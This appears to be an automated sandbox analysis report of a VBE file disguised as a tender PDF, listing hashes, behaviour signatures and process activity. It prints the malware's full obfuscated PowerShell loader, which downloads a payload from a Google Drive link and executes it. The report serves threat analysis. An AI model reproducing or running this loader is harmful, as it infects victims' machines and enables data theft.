Analysis
-
max time kernel
299s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
06/11/2024, 01:58
Static task
static1
Behavioral task
behavioral1
Sample
tender No. SHG-00080 - EPC2 -PDF.vbe
Resource
win7-20240903-en
6 signatures
300 seconds
Behavioral task
behavioral2
Sample
tender No. SHG-00080 - EPC2 -PDF.vbe
Resource
win10v2004-20241007-en
20 signatures
300 seconds
General
-
Target
tender No. SHG-00080 - EPC2 -PDF.vbe
-
Size
26KB
-
MD5
5c41205813f5cb6111f7f54c55d79401
-
SHA1
aded64d5b2fbd084ac1d9bf2916cc30668233636
-
SHA256
37479a80364231d642aae1e5e2acbd5bd5ed93dce441890200f71f8063420a66
-
SHA512
fac62621bd79c5befc2fc3c91a25ab185bb7958e3ccd2cf6eae2e736977cd3a4106b3ee38aa56e900b1e62c3f36a8f7dd69b5eff2d3e5a35c75ac1c12fd3aadd
-
SSDEEP
768:OaRvluL79XDn/C+iV89wKpejmO1d527vkmQs90QtVFyMETjs365KbCXmosBOJ3oJ:V7J+Q0AMLzVZ1
Malware Config
Signatures
-
pid Process 2240 powershell.exe -
pid Process 2240 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2240 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2240 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2976 wrote to memory of 2240 2976 WScript.exe 30 PID 2976 wrote to memory of 2240 2976 WScript.exe 30 PID 2976 wrote to memory of 2240 2976 WScript.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tender No. SHG-00080 - EPC2 -PDF.vbe"1⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Overdevoutness Imitations Stakaternes #>;$Penduline='Chartreuses';<#Phylloptosis surgeoness Hungaric #>; function Baandvvens($Lejesvenden170){If ($host.DebuggerEnabled) {$Gregs++;}$Endosomes=$Fortudede+$Lejesvenden170.'Length' - $Gregs; for ( $Bernini=5;$Bernini -lt $Endosomes;$Bernini+=6){$Berninindspillede=$Bernini;$Childbearing+=$Lejesvenden170[$Bernini];}$Childbearing;}function Grampa($Chalcanthite){ . ($Betonstykker) ($Chalcanthite);}$Klunsers=Baandvvens 'WhitlMBytteo To ezFalsiiEternlG,spel Drv a Haan/F nan ';$Skematiskes=Baandvvens ' yttiTTabull ChicsRa ha1 Bart2 Blan ';$dingeys='Ionsc[Mahm nWhaleE Jungt umle. EnebSEarthEW motr romVHovedIApikoc DvrgEFhaarpSal eoLvindiOpmaanElendtKasseMBraviaarbejNra dsaJackagSkygge PrikRHolog]Najad:Litte:Po lusShit eParisCCrossuBu ferStyrkiFej hTFor,kyKalkmPNonliRPle.ro onbot H.esO,esilCMa.geoSkadeLMave =Stere$UndersBeflikTvtniELledemF neraNystrT,eappIoverbsS.ummkfldnieNo exsHypot ';$Klunsers+=Baandvvens 'E tim5Ild j.Lo,en0Echev Anmas(,ndilW iwifitholen PrisdDumpeoMat,lwT,icosParit Pill.NShoa,T hoae Trsta1Berki0 Out,.Golds0Putr.;Ekspe SustWAnkeri Forbn tulu6Overh4 verl;forty FircixSubre6Eudai4Grati;Kamgr Se.irG indvF.yre:Abste1Listi3kurik1 chry.Arbej0Lok,l) asha BranGscandeUnoffcAllonktold oCorra/Akkad2Farso0Speci1,mper0 Thyr0Sl,gt1Udfr 0Quina1Orna PyrrhFNanetiRaamlrMar eeevasifYdmygoRes oxInter/Cykel1Racia3mi.kw1Antih. Man 0 R nd ';$Kunstlede245=Baandvvens 'Paralu capesInflaeDelegrDyste-Udg faved nG llebeFle fN SpoiTce lu ';$Edderkoppebenene=Baandvvens 'Obj khsetzbtAngritHelbrp Pr,psNomen:Horol/An lo/SplitdDe,anrNom,diRabatv SnvleTa re. Pr mg MiseoHygenoHen.egPicr.lForske Over.BltcicWormcoInkormS,lve/LomaguCarexcMagth? TongeForurx Brugp Sca oExtrarBu kit olet=CertidUnapto FlitwAllonn Hinkl RelaoScal,aUnderdSprid& TaariSyn rdFi al=invad1sign 3Bodel4 ErklU BagnaWilto5U.kobgAntikAPurpl9Kir,en ulesRegerOUafhaS FemvY A,iexV nocNMultimKnstcp ExamVFilolUSporuAKvgeun TingSplur.Ftrium4G ydeSForstFHelflKL endVStjmarS rabzScottIYnk,nsTa ar ';$Tidsprioritets=Baandvvens 'Eghj.>Video ';$Betonstykker=Baandvvens 'DyspniiagttEvrnepxTole ';$Hjertestops='Forbryderspires';$Tilegnet='\Viperous.Sta';Grampa (Baandvvens 'Redem$Opeidgmanifl papeoRatioB nteAScotolngles:HematTLinseoBlaffU ingerStudiN ProjeMilieDVaereOExcepsScr tE Sandn Bjer= Betn$BestiE ubicn Me kvConve:SymmeAA dirp VivepMiddeDShittAbunk.T TilsA cos +Kilde$ BrugtKloriiNon,fL ntaELamelg Ov,rnVeksee horeTMango ');Grampa (Baandvvens 'Natur$ WallgUrethl ilejoNydelb olkhASyda LPur y:OverdUPurpon a.tic FremaUnf.rnAffotcTvange rigeLHaandaSooniBLuftfLKonsoEUnth =Ethox$UdfriE,oodcDprimedMasche BibarN plek copOFormaPR sklPTjetaEGen,aB Gro eParcenFullwEjivesnbystrESvire.FortyS Dk.epS.amaL Vaa iMa veT Morm(Franc$Pne mtStemmIChlorDRedekSPupp.PGalopRUnresI ParaoSiderRRela i altrTA freEHerretMpb as Gi e)Frisk ');Grampa (Baandvvens $dingeys);$Edderkoppebenene=$Uncancelable[0];$Weco=(Baandvvens 'T mpo$ NonegMoss,lSouchoGr.naB SulpaUn atL Nond:partiUScoviDOrangMPra,sUIndsaNUltraD JaciEFulleDSpraiE Pie.S Cim,=Kid,en NecreOrd.nW Pros- IlluOAmblybPremijFirsie Fav.COriantPr,bo IndtasSlummySympoSLa,iltsavble I stmCompl.GavebnJarleE FavoTignot. P,trWHus aEAfterbHusf.CVentrL Que,inoncoeArrivnVolutTDikin ');Grampa ($Weco);Grampa (Baandvvens 'Hypoc$snowfUgeni dKvadrmSamh.u Una nSpunsd Genee AfsadFariseR,diosBeg d.au ocHkontreMyselaTennedSupereFalhor ithrsHjem.[Frib $FurzeKBap iu,radonSteensTr cht Bequl RenteSlipndBrn teL kal2Kolle4Flock5 onve] Da r= samm$Do baKunclal Indtu chrnDynass.omfreUnderrBackssAfstu ');$Monsuns=Baandvvens 'Plati$UnfomUKunmidScowlmIncreuPa.glnRedhodTennieLambddDrmmeeDe tasStila.UvanuDcocciocheviwKalknn orsilErst oPremea Idead SaarFCrowbiIndeklSe vaeTofag(T.ack$NonreE ovred sterdBilleeSt etrS btoksergeoAudiopGar ep BraneUnme bCoideelactinOplyseVrkstnDybvaeLnned,Iml d$ZymosRSlgt,iPolitcDiacotpa,seaNrtfolunfam)Sysse ';$Rictal=$Tournedosen;Grampa (Baandvvens 'Hakni$Fly eG.oninlrumruOHydrobPy,traRecraL Foru:SnohaU ScurDFjernbH snuaJernbSBailiU Ra.pnFordae TilsrMil niSteniNSvklignonpoEKirkeR Overn Syste,dnbesdomst= krif( CoprT ,udeeSkrams onrut Brai-Kongrp ispraSpidsTAm rthPreco Eu,io$UdtoeRDissei SociCTr loT Sam a OmeglLazul)D nin ');while (!$Udbasuneringernes) {Grampa (Baandvvens 'Ganga$IndhagDiskelDuplioFuglebSe,veaC,ayllBrush:OverpTStimueBlindaDatanr Top.eAlumirT gges Pers=Mosel$Chlort Sh vrBnhrouIntrae Arte ') ;Grampa $Monsuns;Grampa (Baandvvens 'Fo mss ortTUnbegaProgyrSla bTAnoca-S,owhS Skdel baaneMehelEOutcupBen e Coryd4Fan,a ');Grampa (Baandvvens ' Craf$P.agtgIns,iLtil aO ienbKrubuA MetaLFeebl: ljenUTrklddBonitb UncoAHoldasPokieUMourinDesa,EGluc RSweatiskat,n.ndbaGInsatEwif,krExtr NAldere ForksThall=Mason(PatoltfolkeEMaskeSItemiT lokk-Villep ftenaEquivTSarseHM sar Galle$SuppoR KummI ircucLavrstMid.oaG,nboL ndit)H,gma ') ;Grampa (Baandvvens 'Harpe$TransgUa.taLChromoK nstb ftrkAListeLFeli : HypePTepefHDishoE Men n tireyUnifoLGoniob LickULin,eTFrousATogglz KarooTraveNKni seCafun=Pukyu$Fr,gog oastLarcusOAfterBTalsmASourilKam k: TuricLogotOA ater inflTBruyeIp.adeCCac.gOEpileUSt,fhSTolle+ Ophr+ Auto%Nonin$pythauEpiten ,isvcAcce,aA vasNLesbiCSa gsELigetLFouteAVinceBUnramLT,leoETvrmi.Marmac ci.koNonisu FadlN kbntPu sb ') ;$Edderkoppebenene=$Uncancelable[$phenylbutazone];}$Fifish=278666;$Berninindkbschefer=30895;Grampa (Baandvvens 'yvere$OveraG DrivlRequioMikkeb SynkAOverfLMesot: ForgUBlodrRForsvaEufemnSuperO Indsgmis rR.abacaIrradpCin,mH DeklEfrygtrN nsi Eriks=Recog SkalagI,dkoE EtagtEphra- BundCb rgmoPrintNMartitU ariEInsupnD.nattWhe.l Overf$SmuttrFire i enigcTimepTDatabAVidnelWet e ');Grampa (Baandvvens ' Zani$A.gergEkseklFor io Tracbstraaa Altsl Godk:PrefeFHyperoSwaggrT,edisdis agNonpesJ.ksrpKompeeSnowbrvdd lsEb.geoTo dfnMi bieSatsbrSving Modta=Forbi Abst[ SubrSSapphyJi.bysVanm tM.lineDad em Arve. PlutCChes,oDoughn rimv FindeUoplyrBetalt rupp] Bill:Si ne:SnebrF Ca mrBnfaloDemokmDatalBDr.dgaCoronsUd,oveUdski6Dagn 4ModefSAffortBytterAdobeida cenUrt dgSuppe( esu$o,stcU Mesor DiscaBlokknO ermoDobb g e kyrNegroavicefpCo lehroo neMaur r kns) P nt ');Grampa (Baandvvens 'Tinpe$AntelgLazzalunmerOPlumbbFunilaOvertLUntit:O.trapVildtR laai Washnat isc.nsapIFeltnPFlygta mskoLCenteINiniat urntyComat Indkl=Udpre Granu[ProsesUncomYDamk,s ibret DerfeDowngm Und .SuperTFremaeHeroexBetnktP.ant.GhenteBodegnJenl.C Ecpho Lan d,rainiMou.tn R seG lang] P,ec:Kokke:DiffuaEj.rtsB,ntacStrygi.amaiiBogsi. omatGGaz teforfaTNa tesTr phTAdre.RCremeIve nun ilhg Smgt(Unini$Evel.f urdeOBourdR San,sCardigvovvoS edaapTrneneOplanrSuprasAlmagOMerkanFrigreIntenRPrin.) Itha ');Grampa (Baandvvens 's ree$ ycoG Cal LNetwioStrtabFrafraAfkoglLymph:ankomPInkasA UnawRSpydsTDypnii saricUtjhuUirritL lydeaOc,ahrF skeiUnhansUdlediGlosenangleGStry.=Hurta$ brupP Lif r GloaiSeddenvels.c fouriD,trspLousea enzaL lasI Seast.agonyMimd.. UnslSU joiU E haBPrim.sprev tGreesrA klei inanNVolitGUrkok(Herma$SysteFAntikISkaftfSellaIt,ions Aw ihChiro, Vene$Lag rBR goleEbon.rhellinPunchIcanasNStvriI B.fanNatskdO hthK ,ekuBPort,s PsitC Alt,hsavneENo,defK ippeTapetr roto)Clau ');Grampa $Particularising;"2⤵
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2240
-